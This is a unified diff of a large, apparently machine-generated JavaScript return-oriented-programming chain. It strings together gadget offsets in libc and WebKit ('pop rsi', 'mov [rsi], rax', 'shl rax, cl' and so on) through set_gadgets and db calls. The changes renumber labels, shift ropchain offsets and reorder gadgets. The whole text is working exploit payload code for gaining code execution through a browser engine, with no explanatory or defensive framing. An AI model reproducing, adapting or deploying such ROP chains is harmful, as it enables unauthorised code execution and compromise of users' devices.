libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L4167: +//L4133: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4168: +//L4134: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -31013,10 +30838,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L4169: +//L4135: db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L4170: +//L4136: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -31027,158 +30852,158 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+248944, //L4172 +ropchain+247832, //L4138 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+248960, //L4173 +ropchain+247848, //L4139 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+248928, //L4171 +ropchain+247816, //L4137 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4171: +//L4137: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4172: +//L4138: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4173: +//L4139: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+249064, //L4176 +ropchain+247936, //L4140 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+249080, //L4177 +ropchain+247968, //L4143 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4174: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L4176: +//L4140: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4141: +db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L4177: +//L4143: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4178: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4180: +//L4144: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4145: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+249240, //L4183 +ropchain+248128, //L4149 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+249224, //L4182 +ropchain+248112, //L4147 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4182: +//L4147: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4183: +//L4149: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+249344, //L4186 +ropchain+248216, //L4150 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+249360, //L4187 +ropchain+248248, //L4153 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4184: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4186: +//L4150: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4151: +db([4294967280, 4294967295]); // -0x10 set_gadget(libc_base+206806,); //pop rdi -//L4187: +//L4153: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+249480, //L4190 +ropchain+248352, //L4154 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+249448, //L4189 +ropchain+248336, //L4155 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4189: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4188: +//L4155: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4190: +//L4154: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4156: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4191: +//L4157: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+249656, //L4195 +ropchain+248544, //L4161 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+249608, //L4192 +ropchain+248496, //L4159 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+249640, //L4194 +ropchain+248528, //L4160 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4192: +//L4159: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4193: +//L4158: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L4194: +//L4160: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4195: +//L4161: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+249760, //L4197 +ropchain+248648, //L4163 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+249744, //L4196 +ropchain+248632, //L4162 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4196: +//L4162: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4197: +//L4163: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -31186,59 +31011,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+249856, //L4200 +ropchain+248728, //L4164 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4198: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4200: +//L4164: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4165: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+249960, //L4203 +ropchain+248848, //L4169 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+249944, //L4202 +ropchain+248832, //L4167 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4202: +//L4167: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4203: +//L4169: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+250048, //L4205 +ropchain+248936, //L4170 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+250064, //L4206 +ropchain+248952, //L4172 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L4205: +//L4170: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4206: +//L4172: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+250120, //L4208 +ropchain+249008, //L4173 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4208: +//L4173: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -31249,119 +31074,119 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+250224, //L4211 +ropchain+249096, //L4175 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4209: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L4211: +//L4175: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4176: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+250328, //L4214 +ropchain+249216, //L4180 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+250312, //L4213 +ropchain+249200, //L4178 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4213: +//L4178: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4214: +//L4180: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+250496, //L4217 +ropchain+249384, //L4183 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+250512, //L4218 +ropchain+249400, //L4184 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+250464, //L4215 +ropchain+249368, //L4181 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+250480, //L4216 +ropchain+249352, //L4182 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4215: +//L4182: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4216: +//L4181: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4217: +//L4183: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4218: +//L4184: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+250584, //L4219 +ropchain+249472, //L4185 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+250600, //L4220 +ropchain+249488, //L4186 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4219: +//L4185: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4220: +//L4186: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+250760, //L4224 +ropchain+249648, //L4190 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+250712, //L4221 +ropchain+249600, //L4188 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+250744, //L4223 +ropchain+249632, //L4189 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4221: +//L4188: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4222: +//L4187: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L4223: +//L4189: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4224: +//L4190: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+250864, //L4226 +ropchain+249752, //L4192 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+250848, //L4225 +ropchain+249736, //L4191 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4225: +//L4191: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4226: +//L4192: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -31369,63 +31194,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+250960, //L4229 +ropchain+249832, //L4193 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4227: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4229: +//L4193: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4194: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+251064, //L4232 +ropchain+249952, //L4198 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+251048, //L4231 +ropchain+249936, //L4196 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4231: +//L4196: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4232: +//L4198: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+251152, //L4234 +ropchain+250040, //L4199 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+251168, //L4235 +ropchain+250056, //L4201 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L4234: +//L4199: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4235: +//L4201: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+251240, //L4238 +ropchain+250112, //L4202 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4236: -db([1, 0]); // 0x1 -set_gadget(libc_base+792472,); //pop rcx -//L4238: +//L4202: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4203: +db([1, 0]); // 0x1 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl @@ -31437,60 +31262,60 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+251336, //L4240 +ropchain+250224, //L4205 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4240: +//L4205: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4239: +//L4206: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4241: +//L4207: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+251528, //L4245 +ropchain+250416, //L4211 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+251480, //L4242 +ropchain+250368, //L4209 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+251512, //L4244 +ropchain+250400, //L4210 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4242: +//L4209: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4243: +//L4208: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L4244: +//L4210: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4245: +//L4211: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+251632, //L4247 +ropchain+250520, //L4213 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+251616, //L4246 +ropchain+250504, //L4212 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4246: +//L4212: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4247: +//L4213: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -31498,63 +31323,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+251728, //L4250 +ropchain+250600, //L4214 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4248: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4250: +//L4214: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4215: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+251832, //L4253 +ropchain+250720, //L4219 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+251816, //L4252 +ropchain+250704, //L4217 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4252: +//L4217: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4253: +//L4219: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+251920, //L4255 +ropchain+250808, //L4220 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+251936, //L4256 +ropchain+250824, //L4222 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L4255: +//L4220: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4256: +//L4222: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+252008, //L4259 +ropchain+250880, //L4223 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4257: -db([2, 0]); // 0x2 -set_gadget(libc_base+792472,); //pop rcx -//L4259: +//L4223: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4224: +db([2, 0]); // 0x2 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl @@ -31565,175 +31390,175 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+252120, //L4262 +ropchain+250992, //L4226 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4260: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4262: +//L4226: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4227: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+252224, //L4265 +ropchain+251112, //L4231 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+252208, //L4264 +ropchain+251096, //L4229 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4264: +//L4229: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4265: +//L4231: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+252344, //L4267 +ropchain+251216, //L4232 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+252376, //L4269 +ropchain+251264, //L4235 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+252360, //L4268 +ropchain+251248, //L4234 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4266: -db([1, 0]); // 0x1 -set_gadget(libc_base+792472,); //pop rcx -//L4267: +//L4232: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4233: +db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L4268: +//L4234: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4269: +//L4235: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+252480, //L4272 +ropchain+251368, //L4238 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+252464, //L4271 +ropchain+251352, //L4236 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4271: +//L4236: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4272: +//L4238: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+252640, //L4276 +ropchain+251528, //L4242 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+252592, //L4273 +ropchain+251480, //L4240 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+252624, //L4275 +ropchain+251512, //L4241 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4273: +//L4240: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4274: +//L4239: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L4275: +//L4241: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4276: +//L4242: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+252696, //L4278 +ropchain+251584, //L4244 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L4278: +//L4244: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+252800, //L4279 +ropchain+251688, //L4246 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+252832, //L4281 +ropchain+251720, //L4247 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+252816, //L4280 +ropchain+251704, //L4245 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4279: +//L4246: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4280: +//L4245: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4281: +//L4247: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+252992, //L4285 +ropchain+251880, //L4251 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+252944, //L4282 +ropchain+251832, //L4249 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+252976, //L4284 +ropchain+251864, //L4250 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4282: +//L4249: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4283: +//L4248: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L4284: +//L4250: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4285: +//L4251: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+253096, //L4287 +ropchain+251984, //L4253 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+253080, //L4286 +ropchain+251968, //L4252 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4286: +//L4252: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4287: +//L4253: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -31742,10 +31567,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L4288: +//L4254: db([2, 0]); // 0x2 set_gadget(libc_base+788575,); //pop rax -//L4289: +//L4255: db([2, 0]); // 0x2 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -31755,148 +31580,148 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+253304, //L4291 +ropchain+252192, //L4257 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+253320, //L4292 +ropchain+252208, //L4258 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+253288, //L4290 +ropchain+252176, //L4256 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4290: +//L4256: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4291: +//L4257: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4292: +//L4258: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+253392, //L4293 +ropchain+252280, //L4259 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+253408, //L4294 +ropchain+252296, //L4260 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4293: +//L4259: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4294: +//L4260: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+253600, //L4298 +ropchain+252488, //L4264 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+253552, //L4295 +ropchain+252440, //L4261 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+253568, //L4296 +ropchain+252456, //L4262 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+253584, //L4297 +ropchain+252472, //L4263 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4295: +//L4261: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L4296: +set_gadget(libc_base+793877,); //pop rsi +//L4262: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4297: +//L4263: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4298: +//L4264: db([0, 0]); // 0x0 set_gadgets([ libc_base+785347, //cqo ; idiv rsi libc_base+793877, //pop rsi -ropchain+253816, //L4302 +ropchain+252704, //L4268 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+253832, //L4303 +ropchain+252720, //L4269 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+253784, //L4299 +ropchain+252672, //L4265 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+253768, //L4300 +ropchain+252688, //L4266 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+253800, //L4301 +ropchain+252656, //L4267 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4300: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L4299: +//L4267: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4301: +//L4265: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4266: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4302: +//L4268: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4303: +//L4269: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+253992, //L4307 +ropchain+252880, //L4273 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+253944, //L4304 +ropchain+252832, //L4271 webkit_base+7438103, 